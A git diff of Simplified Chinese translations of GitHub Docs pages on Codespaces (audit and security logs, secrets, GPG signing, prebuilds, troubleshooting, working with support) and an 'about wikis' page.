若要详细了解已为每个机密配置的权限,请单击“更新”。 + +## 延伸阅读 + +- [管理 codespace 的加密机密](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces) diff --git a/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-codespaces.md b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-codespaces.md new file mode 100644 index 0000000000..ca8149348a --- /dev/null +++ b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-codespaces.md @@ -0,0 +1,29 @@ +--- +title: 查看组织的代码空间审核日志 +shortTitle: Audit logs +intro: 您可以使用审核日志查看与 {% data variables.product.prodname_codespaces %} 相关的所有操作。 +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: +- Codespaces +- Security +- Administrator +ms.openlocfilehash: 9d94b13e969daca9ee68e8502aeae6d7a807279b +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145099860" +--- +当组织的任何成员执行与 {% data variables.product.prodname_codespaces %} 相关的操作时,您可以在审核日志中查看这些操作。 有关访问日志的信息,请参阅“[查看审核日志](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#accessing-the-audit-log)”。 + +![包含代码空间信息的审核日志](/assets/images/help/settings/codespaces-audit-log-org.png) + +审核日志包含操作执行人、操作内容和执行时间等详细信息。 有关 {% data variables.product.prodname_codespaces %} 操作的信息,请参阅“[{% data variables.product.prodname_codespaces %} 类别操作](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#codespaces-category-actions)”。 + +## 延伸阅读 + +- [查看 {% data variables.product.prodname_codespaces %} 的安全日志](/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-codespaces) diff --git a/translations/zh-CN/content/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces.md b/translations/zh-CN/content/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces.md index c6b0b4905b..a64e7caf8b 100644 --- a/translations/zh-CN/content/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces.md +++ b/translations/zh-CN/content/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces.md @@ -14,12 +14,12 @@ topics: - Security - Secret store shortTitle: Encrypted secrets -ms.openlocfilehash: f2ef60c9311a81ea59ec4f71cb7c1a432102b063 -ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.openlocfilehash: a1ea1c87581feccd737314db0d7bf237f983357a +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 11/09/2022 -ms.locfileid: '148160440' +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192807' --- ## 关于 {% data variables.product.prodname_github_codespaces %} 的加密机密 @@ -28,7 +28,7 @@ ms.locfileid: '148160440' - 云服务的访问令牌 - 服务主体 - 订阅标识符 -- [专用映像注册表的凭据](/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry) +- 专用映像注册表的凭据(有关详细信息,请参阅“[允许 codespace 访问专用注册表](/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-registry)”) 您可以选择哪些仓库应有权访问每个密码。 然后,您可以在为有权访问密码的仓库创建的任何代码空间中使用该密码。 若要与通过模板创建的 codespace 共享机密,需要将 codespace 发布到 {% data variables.product.prodname_dotcom %} 上的存储库,然后授予该存储库对该机密的访问权限。 diff --git a/translations/zh-CN/content/codespaces/managing-your-codespaces/managing-gpg-verification-for-codespaces.md b/translations/zh-CN/content/codespaces/managing-your-codespaces/managing-gpg-verification-for-codespaces.md new file mode 100644 index 0000000000..e0d4272227 --- /dev/null +++ b/translations/zh-CN/content/codespaces/managing-your-codespaces/managing-gpg-verification-for-codespaces.md @@ -0,0 +1,39 @@ +--- +title: 管理代码空间的 GPG 验证 +intro: 您可以允许 {% data variables.product.company_short %} 自动使用 GPG 对在代码空间中所做的提交进行签名,以便其他人可以确信更改来自受信任的源。 +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: +- Codespaces +- Developer +- Security +redirect_from: +- /github/developing-online-with-codespaces/managing-gpg-verification-for-codespaces +- /codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces +shortTitle: GPG verification +ms.openlocfilehash: 588082ccd4d861afd8fc78b3b56ae22a06ba72d9 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145099849" +--- +启用 GPG 验证后,{% data variables.product.company_short %} 将自动对您在 {% data variables.product.prodname_codespaces %} 中所做的提交进行签名,并且该提交在 {% data variables.product.product_name %} 上具有已验证状态。 默认情况下,GPG 验证对您创建的代码空间禁用。 您可以选择对所有仓库或特定仓库允许 GPG 验证。 仅对您信任的仓库启用 GPG 验证。 有关 {% data variables.product.product_name %} 签名提交的更多信息,请参阅[关于提交签名验证](/github/authenticating-to-github/about-commit-signature-verification)。 + +启用 GPG 验证后,它将立即对所有代码空间生效。 + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.codespaces-tab %} +1. 在“GPG verification(GPG 验证)”下,选择您想要的 GPG 验证设置。 + ![管理 GPG 验证的单选按钮](/assets/images/help/settings/codespaces-gpg-verification-radio-buttons.png) +1. 如果您选择了“Selected repositories(所选仓库)”,请选择下拉菜单,然后单击想要启用 GPG 验证的仓库。 对您要启用 GPG 验证的所有仓库重复此操作。 + ![“所选存储库”下拉菜单](/assets/images/help/settings/codespaces-gpg-verification-repository-drop-down.png) + + +{% note %} + +注意:为 {% data variables.product.prodname_codespaces %} 启用 GPG 验证之后,还必须在每个提交中追加 `-S` 才能进行签名。 要在 {% data variables.product.prodname_vscode %} 中这样做,请确保在 Settings(设置)中启用“Git: Enable Commit Signing(Git:启用提交签名)”选项。 + +{% endnote %} diff --git a/translations/zh-CN/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-codespaces.md b/translations/zh-CN/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-codespaces.md new file mode 100644 index 0000000000..b2a70d9bd3 --- /dev/null +++ b/translations/zh-CN/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-codespaces.md @@ -0,0 +1,30 @@ +--- +title: 查看代码空间的安全日志 +shortTitle: Security logs +intro: 您可以使用安全日志查看与 {% data variables.product.prodname_codespaces %} 相关的所有操作。 +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' + ghec: '*' +topics: +- Codespaces +- Developer +- Security +ms.openlocfilehash: 6e6b06192a370a50c686fda4c56f522d242a016e +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145099846" +--- +## 关于 {% data variables.product.prodname_codespaces %} 的安全日志 + +当你在个人帐户拥有的存储库中执行与 {% data variables.product.prodname_codespaces %} 相关的操作时,你可以查看安全日志中的操作。 有关访问日志的详细信息,请参阅“[查看安全日志](/github/authenticating-to-github/reviewing-your-security-log#accessing-your-security-log)”。 + +![包含代码空间信息的安全日志](/assets/images/help/settings/codespaces-audit-log.png) + +安全日志包括发生了什么操作以及何时执行的操作等详细信息。 有关 {% data variables.product.prodname_codespaces %} 操作的信息,请参阅“[{% data variables.product.prodname_codespaces %} 类别操作](/github/authenticating-to-github/reviewing-your-security-log#codespaces-category-actions)”。 + +## 延伸阅读 + +- [查看 {% data variables.product.prodname_codespaces %} 的组织审核日志](/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-codespaces) diff --git a/translations/zh-CN/content/codespaces/prebuilding-your-codespaces/about-codespaces-prebuilds.md b/translations/zh-CN/content/codespaces/prebuilding-your-codespaces/about-codespaces-prebuilds.md new file mode 100644 index 0000000000..9d839111c7 --- /dev/null +++ b/translations/zh-CN/content/codespaces/prebuilding-your-codespaces/about-codespaces-prebuilds.md @@ -0,0 +1,53 @@ +--- +title: 关于 Codespaces 预生成 +shortTitle: About prebuilds +intro: Codespaces 预生成有助于加快为大型或复杂存储库创建新的 codespace 的速度。 +versions: + fpt: '*' + ghec: '*' +topics: +- Codespaces +product: '{% data reusables.gated-features.codespaces %}' +ms.openlocfilehash: 4653ead4a97ff1ff87ac8029fb215fdc8ae56566 +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "146381185" +--- +## 概述 + +通过预生成 codespace,可提高工作效率并更快地访问 codespace,尤其是当在存储库较大或复杂,并且新的 codespace 需要 2 分钟以上才能启动时。 这是因为在为项目创建 codespace 之前,已下载、安装和应用任何源代码、编辑器扩展、项目依赖项、命令和配置。 将预生成视为 codespace 的“就绪”模板。 + +默认情况下,每当将更改推送到存储库时,{% data variables.product.prodname_codespaces %} 都会使用 {% data variables.product.prodname_actions %} 自动更新预生成。 + +当预生成可用于存储库的特定分支和你所在的区域时,你会在创建 codespace 时在计算机类型列表中看到“{% octicon "zap" aria-label="The zap icon" %} 预生成就绪”标签。 如果仍在创建预生成,你将看到“{% octicon "history" aria-label="The history icon" %}正在进行预生成”标签。 有关详细信息,请参阅“[创建 codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)”。 + +![用于选择计算机类型的对话框](/assets/images/help/codespaces/choose-custom-machine-type.png) + +{% note %} + +{% data reusables.codespaces.prebuilds-not-available %} + +{% endnote %} + +## 关于 {% data variables.product.prodname_codespaces %} 预生成的计费 + +{% data reusables.codespaces.billing-for-prebuilds %} 有关 {% data variables.product.prodname_codespaces %} 存储定价的详细信息,请参阅“[关于 {% data variables.product.prodname_codespaces %} 的计费](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces)”。 + +使用预生成创建的 codespace 的费用与常规 codespace 相同。 + +## 关于将更改推送到已启用预生成的分支 + +默认情况下,每次推送到有预生成配置的分支,都会运行一个 {% data variables.product.prodname_dotcom %} 托管的 Actions 工作流来更新预生成模板。 预生成工作流有一个并发限制,即,对于一个给定的预生成配置,一次只能运行一个工作流,除非进行的更改影响到相关存储库的开发容器配置。 有关详细信息,请参阅“[开发容器简介](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)”。 如果运行已在进行中,则最近排队的工作流运行将在当前运行完成后运行。 + +将预生成模板设置为在每次推送时更新,意味着如果存储库中存在非常频繁的推送,预生成模板更新将至少与运行预生成工作流所需的频率一样频繁。 也就是说,如果工作流运行通常需要一个小时才能完成且运行成功,那么大约每小时会为存储库创建一次预生成,如果分支上有更改开发容器配置的推送,则创建预生成会更频繁。 + +例如,假设针对有预生成配置的分支连续进行 5 次推送。 在这种情况下: + +* 在第一次推送中会启动工作流运行,以更新预生成模板。 +* 如果余下的 4 次推送不会影响开发容器配置,这些工作流运行将以“挂起”状态排队。 + + 如果余下 4 次推送中的任何一次更改了开发容器配置,服务将不会跳过该推送,并将立即运行预生成创建工作流,运行成功后将相应地更新预生成。 + +* 首次运行完成后,将取消第 2、3 和 4 次推送的工作流运行,最后排队的工作流(第 5 次推送)将运行并更新预生成模板。 diff --git a/translations/zh-CN/content/codespaces/troubleshooting/codespaces-logs.md b/translations/zh-CN/content/codespaces/troubleshooting/codespaces-logs.md new file mode 100644 index 0000000000..52dec9edc0 --- /dev/null +++ b/translations/zh-CN/content/codespaces/troubleshooting/codespaces-logs.md @@ -0,0 +1,110 @@ +--- +title: Codespaces 日志 +intro: '{% data variables.product.prodname_codespaces %} 使用的日志记录位置概述。' +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' + ghec: '*' +type: reference +topics: +- Codespaces +- Logging +shortTitle: Codespaces logs +ms.openlocfilehash: 3e02023cd1ba05960e9f9b345265c281e714e6a5 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145086644" +--- +有关 {% data variables.product.prodname_codespaces %} 的信息将输出到三个不同的日志: + +- 代码空间日志 +- 创建日志 +- 扩展日志({% data variables.product.prodname_vscode %} 桌面)或浏览器控制台日志(Web 中的 {% data variables.product.prodname_vscode %} ) + +## 代码空间日志 + +这些日志包含有关代码空间、容器、会话和 {% data variables.product.prodname_vscode %} 环境的详细信息。 它们对于诊断连接问题和其他意外行为非常有用。 例如,代码空间冻结,但“Reload Windows(重新加载 Windows)”选项可将其解冻几分钟,或者您随机断开与代码空间的连接,但能够立即重新连接。 + +{% webui %} + +1. 如果在浏览器中使用 {% data variables.product.prodname_codespaces %} ,请确保已连接到要调试的代码空间。 +1. 打开 {% data variables.product.prodname_vscode %} 命令面板 (`Shift + Command + P` (Mac)/`Ctrl + Shift + P` (Windows)),并键入“导出日志”。 从列表中选择“Codespaces: 导出日志”以下载日志。 +1. 定义保存日志 zip 存档的位置,然后单击“保存”(桌面),或单击“确定”(Web) 。 +1. 如果在浏览器中使用 {% data variables.product.prodname_codespaces %},请右键单击资源管理器视图中日志的 zip 存档,然后选择“下载…” 将其下载到本地计算机。 + +{% endwebui %} + +{% vscode %} + +1. 打开 {% data variables.product.prodname_vscode %} 命令面板 (`Shift + Command + P` (Mac)/`Ctrl + Shift + P` (Windows)),并键入“导出日志”。 从列表中选择“Codespaces: 导出日志”以下载日志。 +1. 定义保存日志 zip 存档的位置,然后单击“保存”(桌面),或单击“确定”(Web) 。 + +{% endvscode %} + +{% cli %} + +目前,您无法使用 {% data variables.product.prodname_cli %} 来访问这些日志。 要访问它们,请在 {% data variables.product.prodname_vscode %} 或浏览器中打开代码空间。 + +{% endcli %} + +## 创建日志 + +这些日志包含有关容器、开发容器及其配置的信息。 它们对于调试配置和设置问题非常有用。 + + +{% webui %} + +1. 连接到要调试的代码空间。 +2. 打开 {% data variables.product.prodname_vscode_command_palette %} (`Shift + Command + P` (Mac)/`Ctrl + Shift + P` (Windows)),并键入“创建日志”。 从列表中选择“Codespaces: 查看创建日志”以打开 `creation.log` 文件。 + +如果要与支持人员共享日志,可以将创建日志中的文本复制到文本编辑器中,并将文件保存在本地。 + +{% endwebui %} + +{% vscode %} + +打开命令面板 (`Shift + Command + P` (Mac)/`Ctrl + Shift + P` (Windows)),然后键入“创建日志”。 从列表中选择“Codespaces: 查看创建日志”以打开 `creation.log` 文件。 + +如果要与支持人员共享日志,可以将创建日志中的文本复制到文本编辑器中,并将文件保存在本地。 + +{% endvscode %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +若要查看创建日志,请使用 `gh codespace logs` 子命令。 输入命令后,从显示的代码空间列表中进行选择。 + +```shell +gh codespace logs +``` + +有关此命令的详细信息,请参阅 [{% data variables.product.prodname_cli %} 手册](https://cli.github.com/manual/gh_codespace_logs)。 + +如果要与支持人员共享日志,可以将输出保存到一个文件中: + +```shell +gh codespace logs -c > /path/to/logs.txt +``` + +{% endcli %} + +## 扩展日志 + +这些日志仅适用于 {% data variables.product.prodname_vscode %} 桌面用户。 如果看起来 {% data variables.product.prodname_codespaces %} 扩展名或 {% data variables.product.prodname_vscode %} 编辑器遇到阻止创建或连接的问题,则它们很有用。 + +1. 在 {% data variables.product.prodname_vscode %} 中,打开命令面板。 +1. 键入“日志”,然后从列表中选择“开发人员: 打开扩展日志文件夹”,以便在系统的文件资源管理器中打开扩展日志文件夹 。 + +在此视图中,您可以访问由在 {% data variables.product.prodname_vscode %} 中使用的各种扩展生成的日志。 除了已启用的任何其他扩展之外,你还将看到 GitHub Codespaces、GitHub Authentication 和 Git 的日志。 + +## 浏览器控制台日志 + +仅当您要调试在浏览器中使用 {% data variables.product.prodname_codespaces %} 的问题时,这些日志才有用。 它们对于调试创建和连接到 {% data variables.product.prodname_codespaces %} 的问题非常有用。 + +1. 在要调试的代码空间的浏览器窗口中,打开开发人员工具窗口。 +1. 显示“控制”选项卡,然后单击左侧栏中的“错误”以仅显示错误。 +1. 在右侧的日志区域中,右键单击并选择“另存为”将错误的副本保存到本地计算机。 + ![保存错误](/assets/images/help/codespaces/browser-console-log-save.png) diff --git a/translations/zh-CN/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md b/translations/zh-CN/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md new file mode 100644 index 0000000000..cd7604cd60 --- /dev/null +++ b/translations/zh-CN/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md @@ -0,0 +1,43 @@ +--- +title: Codespaces 客户端疑难解答 +intro: 您可以在浏览器中使用 {% data variables.product.prodname_codespaces %} ,也可以通过 {% data variables.product.prodname_vscode %}使用。 本文提供常见客户端问题的疑难解答步骤。 +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' + ghec: '*' +type: reference +topics: +- Codespaces +shortTitle: Codespaces clients +ms.openlocfilehash: 9b8a04083665a1f2d555d568f855e3ebdf57fb56 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145098652" +--- +## {% data variables.product.prodname_vscode %} 故障排除 + +当您将桌面版本的 {% data variables.product.prodname_vscode %} 连接到代码空间时,您会注意到与在普通工作区中工作相比几乎没有什么区别,但体验非常相似。 + +当您在浏览器中使用 web 中的 {% data variables.product.prodname_vscode %} 打开代码空间时,您会注意到更多差异。 例如,某些键绑定将不同或丢失,并且某些扩展的行为可能不同。 有关摘要,请参阅 {% data variables.product.prodname_vscode %} 文档中的“[已知限制和调整](https://code.visualstudio.com/docs/remote/codespaces#_known-limitations-and-adaptations)”。 + +可使用 [`microsoft/vscode`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen+codespaces) 存储库中的 {% data variables.product.prodname_vscode %} 体验检查已知问题并记录新问题。 + +### {% data variables.product.prodname_vscode %} Insiders + +{% data variables.product.prodname_vscode %} Insiders 是 {% data variables.product.prodname_vscode %} 中最常见的版本。 它具有所有最新功能和错误修复,但偶尔也可能包含导致构建中断的新问题。 + +如果你使用的是 Insiders 版本并发现损坏的行为,我们建议切换到 {% data variables.product.prodname_vscode %} Stable 版,然后重试。 + +在 {% data variables.product.prodname_vscode %} 的桌面版本上,可以通过关闭 {% data variables.product.prodname_vscode %} Insiders 应用程序,打开 {% data variables.product.prodname_vscode %} Stable 应用程序,然后重新打开代码空间,切换到 Stable 版。 + +在 {% data variables.product.prodname_vscode %} 的 Web 版本中,可单击编辑器左下方的 {% octicon "gear" aria-label="The manage icon" %},然后选择“切换到稳定版本…”。如果 Web 版本未加载或 {% octicon "gear" aria-label="The manage icon" %} 图标不可用,可将 `?vscodeChannel=stable` 追加到 codespace URL 并在该 URL 处加载 codespace 来强制切换到 {% data variables.product.prodname_vscode %} 稳定版本。 + +如果在 {% data variables.product.prodname_vscode %} Stable 版中未修复问题,请按照上述故障排除说明进行操作。 + +## 浏览器故障排除 + +如果在不是基于 Chromium 的浏览器中使用 codespace 时遇到问题,请尝试切换到基于 Chromium 的浏览器,或通过在 `microsoft/vscode` 存储库中搜索标有你的浏览器名称(如 [`firefox`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen+label%3Afirefox) 或 [`safari`](https://github.com/Microsoft/vscode/issues?q=is%3Aopen+is%3Aissue+label%3Asafari))的问题,查找浏览器的已知问题。 + +如果在基于 Chromium 的浏览器中使用 codespace 时遇到问题,可在 [`microsoft/vscode`](https://github.com/microsoft/vscode/issues) 存储库中检查是否遇到 {% data variables.product.prodname_vscode %} 的另一个已知问题。 diff --git a/translations/zh-CN/content/codespaces/troubleshooting/troubleshooting-port-forwarding-for-codespaces.md b/translations/zh-CN/content/codespaces/troubleshooting/troubleshooting-port-forwarding-for-codespaces.md new file mode 100644 index 0000000000..9809bb5050 --- /dev/null +++ b/translations/zh-CN/content/codespaces/troubleshooting/troubleshooting-port-forwarding-for-codespaces.md @@ -0,0 +1,28 @@ +--- +title: Codespaces 的端口转发疑难解答 +intro: 常见端口转发问题的疑难解答步骤。 +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' + ghec: '*' +type: reference +topics: +- Codespaces +shortTitle: Port forwarding +ms.openlocfilehash: 3b4a8af53b7c4ab28f30ed3c8b4b73c45c6a47e6 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145086643" +--- +在代码空间内运行的应用程序向控制台输出端口时,{% data variables.product.prodname_codespaces %} 将检测到 localhost URL 模式并自动转发端口。 有关详细信息,请参阅“[在 codespace 中转发端口](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)”。 + +如果端口未自动转发,则可以手动转发该端口。 有关详细信息,请参阅“[转发端口](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace#forwarding-a-port)”。 + +如果设置了端口转发,请检查以下各项: + +- 使用通知提示或点击终端中的 URL 打开转发的端口。 如果通过浏览器连接到 codespace,则在本地计算机上键入 `localhost:8000`(作为示例)将不起作用。 +- 确保检查应用程序是否仍在代码空间中运行。 如果代码空间在一段时间不活动后停止,则需要确保在代码空间重新启动后重新启动应用程序。 + +通常,可使转发端口可公开访问,也可在拥有存储库的组织内访问。 有关详细信息,请参阅“[在 codespace 中转发端口](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)”。 如果公共或组织可见性选项中的任何一个或两者都不可用,则表示已配置了组织级别的策略。 有关详细信息,请参阅“[限制转发端口的可见性](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports)”。 diff --git a/translations/zh-CN/content/codespaces/troubleshooting/troubleshooting-your-connection-to-codespaces.md b/translations/zh-CN/content/codespaces/troubleshooting/troubleshooting-your-connection-to-codespaces.md new file mode 100644 index 0000000000..4027ac3e2b --- /dev/null +++ b/translations/zh-CN/content/codespaces/troubleshooting/troubleshooting-your-connection-to-codespaces.md @@ -0,0 +1,52 @@ +--- +title: Codespaces 连接疑难解答 +intro: 有关连接到 {% data variables.product.prodname_codespaces %} 的疑难解答帮助。 +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' + ghec: '*' +type: reference +topics: +- Codespaces +shortTitle: Connection +ms.openlocfilehash: c551126781da972ad39c42aea3ac67b121fab301 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145086639" +--- +## 503 代码空间服务不可用 + +Codespaces 设置为在无任何活动 30 分钟后停止。 如果你在 codespace 停止后尝试与其交互,你可能会看到 `503 service unavailable` 错误。 + +- 如果 {% data variables.product.prodname_vscode %} 或浏览器窗口中显示“开始”按钮,请单击“开始”以重新连接到 codespace 。 +- 通过重新加载窗口来重置代码空间。 从 {% data variables.product.prodname_vscode %} 中的[命令面板](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#accessing-the-command-palette),单击“开发人员: 重新加载窗口”。 + +## 浏览器无法连接 + +有时,您可能无法从浏览器访问代码空间。 如果发生这种情况,请转到 https://github.com/codespaces 并尝试从该页面连接到 codespace。 + + - 如果该页面上未列出代码空间,请检查您是尝试连接到的代码空间的所有者。 您只能打开自己创建的代码空间。 代码空间的 URL 始终包含 {% data variables.product.company_short %} 句柄。 + - 如果列出了代码空间,但您无法从该页面进行连接,请检查是否可以使用其他浏览器进行连接。 + +您的公司网络可能阻止连接。 如果可能,请检查设备上是否有任何被拒绝的连接的日志记录。 + +如果仍然无法连接,{% data reusables.codespaces.contact-support %} + +## {% data variables.product.prodname_vscode %} 的 {% data variables.product.prodname_github_codespaces %} 扩展无法连接 + +如果无法从 {% data variables.product.prodname_vscode %} 桌面连接到代码空间,请使用以下故障排除步骤。 + +1. 检查您是否安装了最新版本的 {% data variables.product.prodname_github_codespaces %} 扩展。 该扩展是预览版,并且频繁发布更新。 + 1. 在 {% data variables.product.prodname_vscode %} 中,显示“Extensions(扩展)”选项卡。 + 2. 选择 {% data variables.product.prodname_github_codespaces %} 扩展以显示扩展的概述页面。 + 3. 如果有可用更新,则会显示一个按钮,单击“更新到 X.X.X”以升级到最新版本。 +2. 检查你使用的是 {% data variables.product.prodname_vscode %} 稳定版本还是 [{% data variables.product.prodname_vscode %} 预览体验成员](https://code.visualstudio.com/insiders/)版本(每晚更新)。 如果使用的是预览体验成员版本,请尝试安装[稳定版本](https://code.visualstudio.com/)。 +3. 您的公司网络可能阻止连接。 如果可能,请检查设备上是否有任何被拒绝的连接的日志记录。 + +如果仍然无法连接,{% data reusables.codespaces.contact-support %} + +### 代码空间存在延迟问题 + +如果代码空间看起来特别慢或存在延迟问题,则可能是在远离您的区域中创建的。 要解决此问题,可以[手动设置 {% data variables.product.prodname_github_codespaces %} 区域](/codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces)。 diff --git a/translations/zh-CN/content/codespaces/troubleshooting/working-with-support-for-codespaces.md b/translations/zh-CN/content/codespaces/troubleshooting/working-with-support-for-codespaces.md new file mode 100644 index 0000000000..40d1d8cecd --- /dev/null +++ b/translations/zh-CN/content/codespaces/troubleshooting/working-with-support-for-codespaces.md @@ -0,0 +1,41 @@ +--- +title: 使用对代码空间的支持 +intro: 有关从 {% data variables.product.prodname_codespaces %} 的支持中获得最佳帮助的提示。 +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' + ghec: '*' +type: reference +topics: +- Codespaces +shortTitle: Working with support +ms.openlocfilehash: f072b48eebd5bdc613da725a0ac7a1b5bb0fbb8d +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145086631" +--- +在支持人员帮助您解决代码空间问题之前,您需要知道代码空间的名称及其代码空间 ID(标识符)。 此外,支持人员可能会要求您与他们共享一些日志。 有关详细信息,请参阅“[Codespaces 日志](/codespaces/troubleshooting/codespaces-logs)”和“[关于 GitHub 支持](/github/working-with-github-support/about-github-support)”。 + +### 代码空间名称 + +每个代码空间都有一个唯一的名称,该名称是 {% data variables.product.company_short %} 句柄、存储库名称和一些随机字符的组合。 附加字符允许您为同一存储库中的不同分支提供代码空间。 例如:`octocat-myrepo-gmc7`。 + +要查找代码空间的名称: + +- 在浏览器中打开代码空间。 URL 的子域是代码空间的名称。 例如:`https://octocat-myrepo-gmc7.github.dev` 是 `octocat-myrepo-gmc7` codespace 的 URL。 +- 如果无法打开 codespace,可以在 https://github.com/codespaces 上访问 {% data variables.product.product_name %} 中的名称。 将鼠标悬停在 https://github.com/codespaces 上的“在浏览器中打开”选项上时,该名称将显示在弹出窗口中。 + ![将鼠标悬停在上方时显示的 codespace 名称](/assets/images/help/codespaces/find-codespace-name-github.png) + +代码空间的名称也包含在许多日志文件中。 例如,在 codespace 日志中是作为 `friendlyName` 的值;在 {% data variables.product.prodname_github_codespaces %} 扩展日志中,是位于 `making GET request for` 之后;在浏览器控制台日志中,是位于 `clientUrl` 之后。 有关详细信息,请参阅“[codespace 日志](/codespaces/troubleshooting/codespaces-logs)”。 + +### 代码空间 ID + +每个代码空间还有一个 ID(标识符)。 默认情况下,这在 {% data variables.product.prodname_vscode %} 中不显示,因此您可能需要先更新 {% data variables.product.prodname_github_codespaces %} 扩展的设置,然后才能访问该 ID。 + +1. 在 {% data variables.product.prodname_vscode %}、浏览器或桌面中的左侧活动栏中,单击“远程资源管理器”以显示 codespace 的详细信息。 +2. 如果侧边栏包含“Codespace Performance(代码空间性能)”部分,请将鼠标悬停在“Codespace ID(代码空间 ID)”上,然后单击剪贴板图标以复制 ID。 +3. 如果未显示信息,请单击活动栏左下角的 {% octicon "gear" aria-label="The gear icon" %} 以显示“Settings(设置)”选项卡。 +4. 展开“扩展”,然后单击“{% data variables.product.prodname_github_codespaces %}”以显示扩展的设置 。 然后启用“显示性能资源管理器”,在边栏中显示“codespace 性能”部分。 + ![显示性能信息所需的 codespace ID 和设置](/assets/images/help/codespaces/find-codespace-id.png) diff --git a/translations/zh-CN/content/communities/documenting-your-project-with-wikis/about-wikis.md b/translations/zh-CN/content/communities/documenting-your-project-with-wikis/about-wikis.md index 24a9ff072b..f0ab7253be 100644 --- a/translations/zh-CN/content/communities/documenting-your-project-with-wikis/about-wikis.md +++ b/translations/zh-CN/content/communities/documenting-your-project-with-wikis/about-wikis.md @@ -1,6 +1,6 @@ --- -title: About wikis -intro: 'You can host documentation for your repository in a wiki, so that others can use and contribute to your project.' +title: 关于 wikis +intro: 您可以将仓库文档托管在 wiki 中,以便其他人使用和参与您的项目。 redirect_from: - /articles/about-github-wikis - /articles/about-wikis @@ -13,28 +13,33 @@ versions: ghec: '*' topics: - Community +ms.openlocfilehash: 94800761c60bb984745e582e2c9691e294e7a90d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147529621' --- +{% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的每个仓库都配备了一个托管文档部分,叫做 wiki。 您可以使用仓库的 wiki 共享项目的长内容,例如如何使用项目,您是如何设计项目的,或者其核心原则是什么。 自述文件快速介绍项目的内容,而您可以使用 wiki 提供其他文档。 